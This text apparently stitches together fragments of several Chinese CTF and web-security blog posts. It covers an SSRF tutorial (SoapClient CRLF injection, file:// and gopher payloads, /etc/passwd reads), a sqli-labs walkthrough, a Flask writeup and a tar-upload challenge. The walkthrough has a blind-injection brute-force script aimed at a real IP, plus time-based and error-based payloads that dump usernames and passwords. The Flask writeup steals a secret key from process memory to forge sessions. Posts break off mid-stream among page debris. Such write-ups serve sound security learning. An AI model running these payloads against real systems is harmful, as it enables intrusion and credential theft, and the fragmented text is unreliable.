CRLF + SSRF

什么是SSRF

SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造形成并由服务端发起恶意请求的一个安全漏洞。正是因为恶意请求由服务端发起,而服务端能够请求到与自身相连而与外网隔绝的内部网络系统,所以一般情况下,SSRF的攻击目标是攻击者无法直接访问的内网系统。

SSRF漏洞的形成大多是由于服务端提供了从其他服务器应用获取数据的功能而没有对目标地址做过滤和限制。例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片,下载等,利用的就是服务端请求伪造,SSRF漏洞可以利用存在缺陷的WEB应用作为代理攻击远程和本地的服务器。

一些前置知识

HTTP协议

在这里,给大家简单的介绍一下我们是怎么通过浏览器上网的

IP

和我们购物时候必须填写地址一样,在网络空间中我们也必须有一个属于自己的地址,而这个地址便是IP地址

IP地址有两大类,是IPv4和IPv6

1
2
3
114.114.114.114                                 //ipv4

2001:0000:0000:0000:0000:25de:0000:cafe //ipv6

v4所有地址已经被分配完毕,所以 有了ipv6这个东西。

又因为ipv6很长,看起来不太美观,于是有了更简洁的写法

  • 每项数字前导的0可以省略,省略后前导数字仍是0则继续,例如下组IPv6是等价的。

      2001:0db8:02de:0000:0000:0000:0000:0e13
      2001:db8:2de:0000:0000:0000:0000:e13
      2001:db8:2de:000:000:000:000:e13
      2001:db8:2de:00:00:00:00:e13
      2001:db8:2de:0:0:0:0:e13
    
  • 可以用双冒号“::”表示一组0或多组连续的0,但只能出现一次:

    • 如果四组数字都是零,可以被省略。遵照以上省略规则,下面这两组IPv6都是相等的。

        2001:db8:2de:0:0:0:0:e13
        2001:db8:2de::e13
      
        2001:0db8:0000:0000:0000:0000:1428:57ab
        2001:0db8:0000:0000:0000::1428:57ab
        2001:0db8:0:0:0:0:1428:57ab
        2001:0db8:0::0:1428:57ab
        2001:0db8::1428:57ab
      
    • 2001::25de::cade 是非法的,因为双冒号出现了两次。它有可能是下种情形之一,造成无法推断。

        2001:0000:0000:0000:0000:25de:0000:cade
        2001:0000:0000:0000:25de:0000:0000:cade
        2001:0000:0000:25de:0000:0000:0000:cade
        2001:0000:25de:0000:0000:0000:0000:cade
      

      如果这个地址实际上是IPv4的地址,后32位可以用10进制数表示;因此::ffff:192.168.89.9 相等于::ffff:c0a8:5909。

Hosts文件

Hosts文件是一个没有扩展名的操作系统文件,以表的形式存储了主机名和IP地址的映射关系Hosts又称host table,译为“主机表”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host

# localhost name resolution is handled within DNS itself.
# 127.0.0.1 localhost
# ::1 localhost
219.217.199.8 earth.local terratest.earth.local
10.110.110.250 vpn.misakanetworks.cf
# Added by Docker Desktop
192.168.1.8 host.docker.internal
192.168.1.8 gateway.docker.internal
# To allow the same kube context to work on the host and the container:
127.0.0.1 kubernetes.docker.internal
# End of section
127.0.0.1 activate.navicat.com

我们可以手动给一个Ip取一个好听的名字然后用这个名字访问,只需要按照host文件的格式在下面添加就行了

DNS

使用host是无法记住所有ip的,数据量太大了,而且日常上网也并不需要记住所有的ip,DNS就这样诞生了…

域名系统(英语:Domain Name System,缩写:DNS)

它作为将域名和IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网。DNS使用TCP和UDP端口53

HTTP协议

HTTP请求结构

HTTP请求报文由3部分组成(请求行+请求头部+请求正文)

  • 请求行

    请求行: 是由 请求字段、URL字段、HTTP协议版本字段 三个字段组成,他们用空格分隔,例如:GET/material/index HTTP/1.1\r\n根据HTTP标准,HTTP请求可以使用多种请求方法

    HTTP1.0定义了三种请求方法:GET,POST,HEAD方法。HTTP1.1新增了五种请求方法:OPTIONS,PUT,DELETE,TRACE,CONNECT方法

  • 请求头部

    请求头部: HTTP客户程序(例如浏览器),向服务器发送请求的时候必须指明请求类型(一般是GET或者 POST),如有必要,客户程序还可以选择发送其他的请求头。大多数请求头并不是必需的,但Content-Length除外,对于POST请求来说 Content-Length必须出现

    请求报头通知服务器关于客户端求求的信息,典型的请求头有:

  • 空行

    他的作用是告诉服务器 请求头部信息到此为止

  • 请求正文

    若方法是 GET,则该项为空。(数据都在url 地址栏里面)
    若方法是 post 字段,则通常放置的是要 提交的数据

HTTP响应结构:

HTTP的响应报文是由( 状态行、响应头部、响应正文) 三部分组成

  • 响应行

    响应行: 描述了响应的状态,一般由协议版本、状态码及其描述组成 比如 HTTP/1.1200OK\r\n,其中协议版本HTTP/1.1或者HTTP/1.0,200就是它的状态码,OK则为它的描述。

五种可能的取值:

常见状态码:

响应头部

响应头部: 用于描述服务器的基本信息,以及数据的描述,服务器通过这些数据的描述信息,可以通知客户端如何处理等一会儿它回送的数据。

  • 响应体

响应体就是响应的消息体,它包含了响应的内容。它可以包含HTML代码,图片,等等。主体是由传输在HTTP消息中紧跟在头部后面的数据字节组成的。

SSRF中的常用协议

HTTP协议

curl_exec()

curl_init(url)函数初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。

1
2
3
4
5
6
7
8
9
<?php 
$url=$_POST['url'];
$ch=curl_init($url); //创造一个curl资源
curl_setopt($ch, CURLOPT_HEADER, 0); //设置url和相应的选项
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch); // 抓取url并将其传递给浏览器
curl_close($ch); //关闭curl资源
echo ($result);
?>

fsockopen()

fsockopen($hostname,$port,$errno,$errstr,$timeout)用于打开一个网络连接或者一个Unix 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定url数据的获取。该函数会使用socket跟服务器建立tcp连接,进行传输原始数据。 fsockopen()将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回false。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>

可以看到,这个协议是一个比较底层的协议,从TCP手动构造一个http的请求,在这里出现了\r\n,这代表什么呢?

CRLF和LF

CR(回车\r),LF(换行\n)。

CR和LF是缩写,其实他们的全称分别是:”Carriage-Return”和”Line-Feed”。追本溯源的说,CR(Carriage-Return)和LF(Line-Feed)这两个词来源于打字机的发明和使用。

在很久以前的机械打字机时代,CR和LF分别具有不同的作用:LF会将打印纸张上移一行位置,但是保持当前打字的水平位置不变;CR则会将“Carriage”(打字机上的滚动托架)滚回到打印纸张的最左侧,但是保持当前打字的垂直位置不变,即还是在同一行。

当CR和LF组合使用时,则会将打印纸张上移一行,且下一个打字位置将回到该行的最左侧,也就是我们今天所理解的换行操作。

虽然现在机械打字机渐渐地退出了历史舞台。但是回车换行在计算机操作系统中确实必要的,而在计算机中回车换行实则为同样的结果,不再像打字机那样了,计算机的回车换行都是切换到下一行的行首位置了。在操作系统出现的年代,一些操作系统的设计者决定采用单个字符来表示换行符(也许是受限于内存和软盘空间的不足),如Unix的LF、MacIntosh的CR;但是想windows则是使用两个字符表示。他们的意图都是为了进行换行操作,只是当初并没有一个国际标准,所以才有这样字符上的不同。

在http中,则是用\r\n来表示换行

SoapClient

SOAP是简单对象访问协议,简单对象访问协议(Simple Object Access Protocol)是一种轻量的、简单的、基于 XML 的协议,它被设计成在 WEB 上交换结构化的和固化的信息。PHP 的 SoapClient 就是可以基于SOAP协议可专门用来访问 WEB 服务的 PHP 客户端。

这里有个Trick

正常情况下的SoapClient类,调用一个不存在的函数,会去调用__call方法

1
2
3
4
5
6
<?php
$a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http://127.0.0.1:5555/path'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->not_exists_function();

基于刚才讲到的CRLF,则可以做到手动构造任意请求,

1
2
3
4
5
6
7
8
<?php
$target = "http://127.0.0.1:9999/flag.php";
$attack = new SoapClient(null,array('location' => $target,
'user_agent' => "byc\r\nCookie: PHPSESSID=g6ooseaeo905j0q4b9qqn2n471\r\n",
'uri' => "123"));
$payload -> not_exists_function();
?>

File协议

file协议其实类似于任意文件读取,比如file:///etc/passwd

还是刚才那段代码

1
2
3
4
5
6
7
8
9
<?php 
$url=$_POST['url'];
$ch=curl_init($url); //创造一个curl资源
curl_setopt($ch, CURLOPT_HEADER, 0); //设置url和相应的选项
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch); // 抓取url并将其传递给浏览器
curl_close($ch); //关闭curl资源
echo ($result);
?>

file_get_contents() & readfile()

1
2
3
4
<?php
$url = $_GET['url'];
echo file_get_contents($url);
?>

file_get_contents() 函数将整个文件或一个url所指向的文件读入一个字符串中,并展示给用户,我们可以传入一个url连接访问,也可以构造类似?url=../../../../../etc/passwd的paylaod即可读取服务器本地的任意文件

gopher

gopher协议是一个古老且强大的协议,可以理解为是http协议的前身,他可以实现多个数据包整合发送。通过gopher协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。

很多时候在SSRF下,我们无法通过HTTP协议来传递POST数据,这时候就需要用到gopher协议来发起POST请求了。

gopher的协议格式如下:

1
2
3
gopher://<host>:<port>/<gopher-path>_<TCP数据流>
<port>默认为70
发起多条请求每条要用回车换行去隔开使用%0d%0a隔开,如果多个参数,参数之间的&也需要进行URL编码

看起来有点像阉割版的nc,不过gopher会把传入的第一个字符给吞掉了,左边传入的是123456789,右边接收到的则是23456789

在知道以上特性之后,便可以利用gopher协议来构造任意http请求了

比如:

1
2
3
GET /ssrf.php HTTP/1.1\r\n
Host: 127.0.0.1\r\n
\r\n

将其url编码一下

1
%47%45%54%20%2f%73%73%72%66%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%0d%0a


 web
  

:D 一言句子获取中...

-----------------------------------------------------------+
| ((substr(group_concat((select group_concat(schema_name) from information_schema.schemata)),1,1))=0) |
+-----------------------------------------------------------------------------------------------------+
| 1 |
+-----------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

爆数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

url = "http://39.104.82.167/Less-5/?id="
res = ""

for i in range(0,256):
for j in range(0,256):
for k in range(0,256):
payload = f"1' and ascii(substr((select group_concat(schema_name) from information_schema.schemata),{j},1)) = {k} --+"
r = requests.get(url+payload)
if "You are in..........." in r.text:
res += chr(k)
print(res)
break

更改payload来爆表

1
payload = f"1' and ascii(substr((select group_concat(table_name) from information_schema.columns where table_schema=\"security\"),{j},1)) = {k} --+"

更改payload 来爆字段

1
payload = f"1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="users"),{j},1)) = {k} --+"

Tips 无AND的情况下,可以用^

Less 6-8 都差不多,就是需要各种奇妙的闭合

Less 9

这里需要时间盲注,和布尔盲注差不多只是需要添加一个if(a,sleep(10),1)判断

?id=1’ and if(1=1,sleep(5),1)–+

判断参数构造。

?id=1’and if(length((select database()))>9,sleep(5),1)–+

判断数据库名长度

?id=1’and if(ascii(substr((select database()),1,1))=115,sleep(5),1)–+

逐一判断数据库字符

?id=1’and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)–+

判断所有表名长度

?id=1’and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)–+

逐一判断表名

?id=1’and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’))>20,sleep(5),1)–+

判断所有字段名的长度

?id=1’and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’),1,1))>99,sleep(5),1)–+

逐一判断字段名。

?id=1’ and if(length((select group_concat(username,password) from users))>109,sleep(5),1)–+

判断字段内容长度

?id=1’ and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)–+

逐一检测内容。

Less 10 一模一样,略

Less 11 | 万能密码

这次开始,不是get传参了,换成POST传参还给了个登录框,先随便穿个数据康康

这时候拿出我们的究极无敌炫酷万能密码1' or 1=1#

好了,这就进去了

为什么呢?咱把源码翻开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);

// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname);
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);


// connectivity
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql); //注意这里
$row = mysql_fetch_array($result);

if($row)
{
//echo '<font color= "#0000ff">';

echo "<br>";
echo '<font color= "#FFFF00" font size = 4>';
//echo " You Have successfully logged in\n\n " ;
echo '<font size="3" color="#0000ff">';
echo "<br>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "<br>";
echo "</font>";
echo "<br>";
echo "<br>";
echo '<img src="../images/flag.jpg" />';

echo "</font>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}

?>

关键点在这里$result=mysql_query($sql);

这里的结果是用sql语句的查询结果来,所以只需要让语句返回一个真就行了,or 1 = 1使得整个语句恒真,这就让我们成功登陆进去了

之后我们就可以注入获取信息了。

Less 12 -16 都差不多

Less 17 | 报错注入

这题开始不同了,使用的是update而不是select

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94

function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}

// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}

// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}

else
{
$value = intval($value);
}
return $value;
}

// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))

{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);

$passwd=$_POST['passwd'];


//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);


// connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
if($row)
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
echo "<br>";



if (mysql_error())
{
echo '<font color= "#FFFF00" font size = 3 >';
print_r(mysql_error());
echo "</br></br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00" font size = 3 >';
//echo " You password has been successfully updated " ;
echo "<br>";
echo "</font>";
}

echo '<img src="../images/flag1.jpg" />';
//echo 'Your Password:' .$row['password'];
echo "</font>";



}
else
{
echo '<font size="4.5" color="#FFFF00">';
//echo "Bug off you Silly Dumb hacker";
echo "</br>";
echo '<img src="../images/slap1.jpg" />';

echo "</font>";
}
}

报错注入开淦

能进行报错的函数

extractvalue()

1’ and (extractvalue(1,concat(0x5c,database(),0x5c)))# 爆数据库

1’ and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))# 爆表名

1’ and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’),0x5c)))#
爆字段名

1’ and (extractvalue(1,concat(0x5c,(select password from (select password from users where username=’admin1’) b) ,0x5c)))# 爆字段内容该格式针对mysql数据库。

1’ and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))# 爆字段内容。

1
2
3
4
5
6
7
#### updatexml()

* `updatexml()`是一个使用不同的xml标记匹配和替换xml块的函数。
* 语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:string格式,替换查找到的符合条件的数据
* updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)


mysql> select (updatexml(1,concat(0x7e,(version()),0x7e),1));
ERROR 1105 (HY000): XPATH syntax error: ‘5.5.44-0ubuntu0.14.04.1


公式:
updatexml(数字,带有'~'的任何东西,数字)
updatexml(数字,(concat(0x7e,(长度不过63的任意字符),0x7e)),数字)


## less 18 - Less19

地点不一样,懒得弄了.

## Less20 - Less23
base64编码了一下,还是一样

## Less24 | 二次注入
  
 web inject


:D 一言句子获取中...

加载中,最新评论有1分钟缓存...
"string">"#" class="btn btn-default btn-sm" id="contact-info"><i class="fa fa-bars"></i></a>

</div>
</header>

</div>
<!-- End Header -->

<div class="lgray-bg" style="background-image:url(images/leaves3.png); background-repeat:repeat">
<div class="container">
<h4 class="stacked-title" style="background-color:black">Cats</h4>

<div class="row">
{% for a_cat in cats_list %}
<div class="col-md-3 col-sm-6">
<div class="feature-block">
<img src="cats/{{a_cat}}.jpg" alt="{{a_cat}}">
<h5>{{a_cat}}</h5>
<p><a href="/info?file={{a_cat}}.txt">{{cat("./details/"+a_cat+".txt", 0, 80).decode()}}...</a></p>
</div>
</div>
{% endfor %}
</div>
<div class="spacer-50"></div>
</div>
</div>

<!-- Site Footer -->
<div class="site-footer-bottom">
<div class="container">
<div class="row">
<div class="col-md-6 col-sm-6">
<div class="copyrights-col-left">
<p>&copy; 2022 Cat cat by lx56@blog.lxscloud.top. All Rights Reserved</p>
</div>
</div>
<div class="col-md-6 col-sm-6">
<div class="copyrights-col-right">

</div>
</div>
</div>
</div>
</div>
<a id="back-to-top"><i class="fa fa-angle-double-up"></i></a>
</div>
<script src="js/jquery-2.2.3.min.js"></script> <!-- Jquery Library Call -->
<script src="vendor/magnific/jquery.magnific-popup.min.js"></script> <!-- PrettyPhoto Plugin -->
<script src="js/ui-plugins.js"></script> <!-- UI Plugins -->
<script src="js/helper-plugins.js"></script> <!-- Helper Plugins -->
<script src="vendor/owl-carousel/js/owl.carousel.min.js"></script> <!-- Owl Carousel -->
<script src="js/bootstrap.js"></script> <!-- UI -->
<script src="js/init.js"></script> <!-- All Scripts -->
<script src="vendor/flexslider/js/jquery.flexslider.js"></script> <!-- FlexSlider -->
</body>
</html>

典中典 只因 删flag只存在变量中

简单分析一下,本题看着好像使用了模板,但是并不能打ssti,所以说需要通过任意文件读取的路由下载特定文件。Debug模式关闭,算pinconsole肯定不行了.

众所周知,python运行的时候,会把对象存储在堆区里,因此我们可以通过读取堆区的东西来过去key然后就能伪造session从admin路由堂而皇之的获取flag了,在本题中,提供了一个cat.py,这让我们可以带偏移量的读取文件,也就是说,拥有了在内存海洋里”航行”的船桨(不会出现指向内存的空指针),还有一个问题便是偏移量,不用担心,/proc/pid/maps就全都给出来了

比如这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
root@VM-8-17-ubuntu:/proc/59428# cat maps
00400000-00423000 r--p 00000000 fc:02 130987 /usr/bin/python3.8
00423000-006b0000 r-xp 00023000 fc:02 130987 /usr/bin/python3.8
006b0000-008ec000 r--p 002b0000 fc:02 130987 /usr/bin/python3.8
008ed000-008ee000 r--p 004ec000 fc:02 130987 /usr/bin/python3.8
008ee000-00935000 rw-p 004ed000 fc:02 130987 /usr/bin/python3.8
00935000-00958000 rw-p 00000000 00:00 0
00b1b000-00bc5000 rw-p 00000000 00:00 0 [heap]
7f082cb41000-7f082cd66000 rw-p 00000000 00:00 0
7f082cd66000-7f082d04c000 r--p 00000000 fc:02 161431 /usr/lib/locale/locale-archive
7f082d04c000-7f082d04f000 rw-p 00000000 00:00 0
7f082d04f000-7f082d051000 r--p 00000000 fc:02 138114 /usr/lib/x86_64-linux-gnu/libz.so.1.2.11
7f082d051000-7f082d062000 r-xp 00002000 fc:02 138114 /usr/lib/x86_64-linux-gnu/libz.so.1.2.11
7f082d062000-7f082d068000 r--p 00013000 fc:02 138114 /usr/lib/x86_64-linux-gnu/libz.so.1.2.11
7f082d068000-7f082d069000 ---p 00019000 fc:02 138114 /usr/lib/x86_64-linux-gnu/libz.so.1.2.11
7f082d069000-7f082d06a000 r--p 00019000 fc:02 138114 /usr/lib/x86_64-linux-gnu/libz.so.1.2.11
7f082d06a000-7f082d06b000 rw-p 0001a000 fc:02 138114 /usr/lib/x86_64-linux-gnu/libz.so.1.2.11
7f082d06b000-7f082d06d000 rw-p 00000000 00:00 0
7f082d06d000-7f082d071000 r--p 00000000 fc:02 130659 /usr/lib/x86_64-linux-gnu/libexpat.so.1.6.11
7f082d071000-7f082d08d000 r-xp 00004000 fc:02 130659 /usr/lib/x86_64-linux-gnu/libexpat.so.1.6.11
7f082d08d000-7f082d097000 r--p 00020000 fc:02 130659 /usr/lib/x86_64-linux-gnu/libexpat.so.1.6.11
7f082d097000-7f082d098000 ---p 0002a000 fc:02 130659 /usr/lib/x86_64-linux-gnu/libexpat.so.1.6.11
7f082d098000-7f082d09a000 r--p 0002a000 fc:02 130659 /usr/lib/x86_64-linux-gnu/libexpat.so.1.6.11
7f082d09a000-7f082d09b000 rw-p 0002c000 fc:02 130659 /usr/lib/x86_64-linux-gnu/libexpat.so.1.6.11
7f082d09b000-7f082d0aa000 r--p 00000000 fc:02 138508 /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f082d0aa000-7f082d151000 r-xp 0000f000 fc:02 138508 /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f082d151000-7f082d1e8000 r--p 000b6000 fc:02 138508 /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f082d1e8000-7f082d1e9000 r--p 0014c000 fc:02 138508 /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f082d1e9000-7f082d1ea000 rw-p 0014d000 fc:02 138508 /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f082d1ea000-7f082d1eb000 r--p 00000000 fc:02 138626 /usr/lib/x86_64-linux-gnu/libutil-2.31.so
7f082d1eb000-7f082d1ec000 r-xp 00001000 fc:02 138626 /usr/lib/x86_64-linux-gnu/libutil-2.31.so
7f082d1ec000-7f082d1ed000 r--p 00002000 fc:02 138626 /usr/lib/x86_64-linux-gnu/libutil-2.31.so
7f082d1ed000-7f082d1ee000 r--p 00002000 fc:02 138626 /usr/lib/x86_64-linux-gnu/libutil-2.31.so
7f082d1ee000-7f082d1ef000 rw-p 00003000 fc:02 138626 /usr/lib/x86_64-linux-gnu/libutil-2.31.so
7f082d1ef000-7f082d1f0000 r--p 00000000 fc:02 138416 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f082d1f0000-7f082d1f2000 r-xp 00001000 fc:02 138416 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f082d1f2000-7f082d1f3000 r--p 00003000 fc:02 138416 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f082d1f3000-7f082d1f4000 r--p 00003000 fc:02 138416 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f082d1f4000-7f082d1f5000 rw-p 00004000 fc:02 138416 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f082d1f5000-7f082d1fc000 r--p 00000000 fc:02 138569 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f082d1fc000-7f082d20d000 r-xp 00007000 fc:02 138569 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f082d20d000-7f082d212000 r--p 00018000 fc:02 138569 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f082d212000-7f082d213000 r--p 0001c000 fc:02 138569 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f082d213000-7f082d214000 rw-p 0001d000 fc:02 138569 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f082d214000-7f082d218000 rw-p 00000000 00:00 0
7f082d218000-7f082d23d000 r--p 00000000 fc:02 138398 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f082d23d000-7f082d3b5000 r-xp 00025000 fc:02 138398 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f082d3b5000-7f082d3ff000 r--p 0019d000 fc:02 138398 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f082d3ff000-7f082d400000 ---p 001e7000 fc:02 138398 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f082d400000-7f082d403000 r--p 001e7000 fc:02 138398 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f082d403000-7f082d406000 rw-p 001ea000 fc:02 138398 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f082d406000-7f082d40c000 rw-p 00000000 00:00 0
7f082d412000-7f082d419000 r--s 00000000 fc:02 262948 /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
7f082d419000-7f082d41a000 r--p 00000000 fc:02 138367 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f082d41a000-7f082d43d000 r-xp 00001000 fc:02 138367 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f082d43d000-7f082d445000 r--p 00024000 fc:02 138367 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f082d446000-7f082d447000 r--p 0002c000 fc:02 138367 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f082d447000-7f082d448000 rw-p 0002d000 fc:02 138367 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f082d448000-7f082d449000 rw-p 00000000 00:00 0
7fffbbe8a000-7fffbbeab000 rw-p 00000000 00:00 0 [stack]
7fffbbf92000-7fffbbf95000 r--p 00000000 00:00 0 [vvar]
7fffbbf95000-7fffbbf96000 r-xp 00000000 00:00 0 [vdso]

前面的便是地址和偏移量,只需要读取这些,然后再根据这个地址进行内存的读取就可以把key读出来了,然后就能读取内存了。

app.py里的代码来看,key后面跟着都是*abcdefgh,只需要找到含有这个字符串的内容输出,就能直接找到key了,还可以更简单粗暴一点,格式是UUID+”*abcdefgh”,可以写个正则表达式输出。

至于key获得了,就可以直接通过flask-session-cookie-manager3.py(github有源码)搞事情了qwq

总结:

1.在有任意文件读取的地方,可以通过/proc/pid/cmdline扫描进程
2.可以通过/proc/pid/fd/3恢复python中Open但是并没有close的文件

0xFFFF Reform



 备忘录
  
 CTF WEB LFI

Round 6复现

Web check(V1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import os

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])

def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/')
def index():
with open(__file__, 'r') as f:
return f.read()

@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return '?'
file = request.files['file']
if file.filename == '':
return '?'
print(file.filename)
if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a tarfile'
try:
tar = tarfile.open(file_save_path, "r")
tar.extractall(app.config['UPLOAD_FOLDER'])
except Exception as e:
return str(e)
os.remove(file_save_path)
return 'success'

@app.route('/download', methods=['POST'])
def download_file():
filename = request.form.get('filename')
if filename is None or filename == '':
return '?'

filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)

if '..' in filename or '/' in filename:
return '?'

if not os.path.exists(filepath) or not os.path.isfile(filepath):
return '?'

with open(filepath, 'r') as f:
return f.read()

@app.route('/clean', methods=['POST'])
def clean_file():
os.system('/tmp/clean.sh')
return 'success'

if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=80)

管他那么多,先整一个上传页面

1
2
3
4
<form id="upload-form" action="http://1.14.71.254:28597/upload" method="post" enctype="multipart/form-data" >
   <input type="file" id="upload" name="upload" /> <br />
   <input type="submit" value="Upload" />
</form>
命令执行备忘录

命令执行备忘录

0x00 什么是RCE

